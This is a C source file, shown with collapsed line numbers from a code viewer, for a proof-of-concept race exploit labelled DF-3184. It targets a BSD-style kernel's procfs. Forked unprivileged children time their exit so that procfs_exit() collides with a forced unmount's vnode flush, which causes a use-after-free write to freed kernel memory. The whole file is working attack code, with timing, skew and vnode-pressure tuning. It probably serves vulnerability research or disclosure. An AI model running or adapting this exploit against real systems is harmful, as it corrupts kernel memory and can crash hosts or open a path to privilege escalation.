DF-3184 / df3184_sync.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 | /* * DF-3184 PoC (sync mode) — synchronize the exiting child's * procfs_exit() walk with umount -f's vflush_scan() on a scratch * procfs mount, so the walk's * scan-hash -> vhold -> vx_get (procfs_subr.c:531-548) * collides with * vflush_scan -> vgone_vxlocked -> VOP_RECLAIM -> procfs_freevp -> kfree(pfs) * for the same pfsnode. On collision vx_get() blocks on the VX lock * held by vflush, resumes after kfree(pfs), and the walk executes * pfs->pfs_pid |= PFS_DEAD on freed memory (UAF write). * * usage: df3184_race sync MOUNTPOINT WINDOW_MS BATCH RUN_SECONDS * (run as an unprivileged user; root runs mountloop.sh in parallel) */ #include <sys/types.h> #include <sys/stat.h> #include <sys/wait.h> #include <sys/time.h> #include <dirent.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <errno.h> static double now_s(void) { struct timeval tv; gettimeofday(&tv, NULL); return (double)tv.tv_sec + (double)tv.tv_usec / 1e6; } /* stat every file under dir recursively (vnode-pressure churn) */ static long walk_tree_count(const char *dir) { DIR *d = opendir(dir); struct dirent *de; char path[1024]; struct stat st; long n = 0; if (d == NULL) return 0; while ((de = readdir(d)) != NULL) { if (de->d_name[0] == '.' && (de->d_name[1] == 0 || (de->d_name[1] == '.' && de->d_name[2] == 0))) continue; snprintf(path, sizeof(path), "%s/%s", dir, de->d_name); if (stat(path, &st) < 0) continue; n++; if (S_ISDIR(st.st_mode)) n += walk_tree_count(path); } closedir(d); return n; } static const char *proc_targets[] = { "status", "cmdline", "map", "type", "rlimit", "regs", "fpregs", "dbregs", "ctl", "note", "notepg", "file", NULL }; static void touch_own_nodes(const char *mp) { char path[160]; struct stat st; int i; snprintf(path, sizeof(path), "%s/%d", mp, (int)getpid()); if (stat(path, &st) == 0) { int fd = open(path, O_RDONLY); if (fd >= 0) close(fd); } for (i = 0; proc_targets[i] != NULL; i++) { snprintf(path, sizeof(path), "%s/%d/%s", mp, (int)getpid(), proc_targets[i]); if (stat(path, &st) == 0) { int fd = open(path, O_RDONLY); if (fd >= 0) close(fd); } } } static void sync_child(const char *mp, const char *markB, double stat_s, double delay_s, double skew_s) { struct stat st; ino_t ino0; double tB; if (stat_s <= 0) { /* * Create the pfs nodes immediately (mount is live, before * the unmount begins); the vnode-pressure backlog keeps * vnlru's inactive-queue delay (~minutes) far longer than * the 13s unmount cycle, so the nodes survive until the * forced vflush. */ touch_own_nodes(mp); stat_s = 1e9; } /* snapshot marker B so we see only OUR cycle's bump */ if (stat(markB, &st) == 0) ino0 = st.st_ino; else ino0 = 0; /* wait for the pre-unmount marker (root driver) */ for (;;) { if (stat(markB, &st) == 0 && st.st_ino != ino0) break; usleep(60); } tB = now_s(); /* vflush fires ~12.6-13.0s after marker B; exit inside the burst */ while (now_s() < tB + delay_s + skew_s) usleep(60); _exit(0); } int main(int argc, char **argv) { const char *mp = "/procN"; const char *markA = "/tmp/df3184/cycle.a"; const char *markB = "/tmp/df3184/cycle.b"; const char *tree = NULL; double stat_s = 12.0, delay_s = 12.55, deadline, start; double skew_step = 0.0075; int batch = 64; int run_seconds = 300; int i; ino_t last_ino = 0; long batches = 0, forks = 0; struct stat st; int status; if (argc > 2) mp = argv[2]; if (argc > 3) stat_s = atof(argv[3]); if (argc > 4) delay_s = atof(argv[4]); if (argc > 5) batch = atoi(argv[5]); if (argc > 6) run_seconds = atoi(argv[6]); if (argc > 7) markA = argv[7]; if (argc > 8) markB = argv[8]; if (argc > 9) tree = argv[9]; if (argc > 10) skew_step = atof(argv[10]); start = now_s(); deadline = start + run_seconds; setvbuf(stdout, NULL, _IOLBF, 0); printf("df3184_sync: mp=%s stat=%.2fs exit=%.2fs batch=%d run=%ds tree=%s uid=%d\n", mp, stat_s, delay_s, batch, run_seconds, tree, (int)getuid()); if (tree) { /* vnode-pressure churn: keep vnlru's inactive-queue backlog * long so racer nodes survive the whole unmount cycle */ for (i = 0; i < 4; i++) { pid_t p = fork(); if (p == 0) { while (now_s() < deadline) walk_tree_count(tree); _exit(0); } } } while (now_s() < deadline) { /* sync on marker-A inode change (mount happened) */ if (stat(markA, &st) == 0 && st.st_ino != last_ino) { last_ino = st.st_ino; /* * Light mode: quiet-mount vflush at ~+256ms after * marker B; every walk aims inside it. */ for (i = 0; i < batch; i++) { pid_t p = fork(); if (p == 0) { double skew = (double)(i % 48) * 0.0008; sync_child(mp, markB, 0.0, delay_s, skew); } if (p > 0) forks++; } batches++; if ((batches % 25) == 0) printf("[%.0fs] batches=%ld forks=%ld\n", now_s() - start, batches, forks); } usleep(100); while (waitpid(-1, &status, WNOHANG) > 0) ; } while (waitpid(-1, &status, WNOHANG) > 0) ; printf("done: batches=%ld forks=%ld elapsed=%.1fs\n", batches, forks, now_s() - start); return 0; } |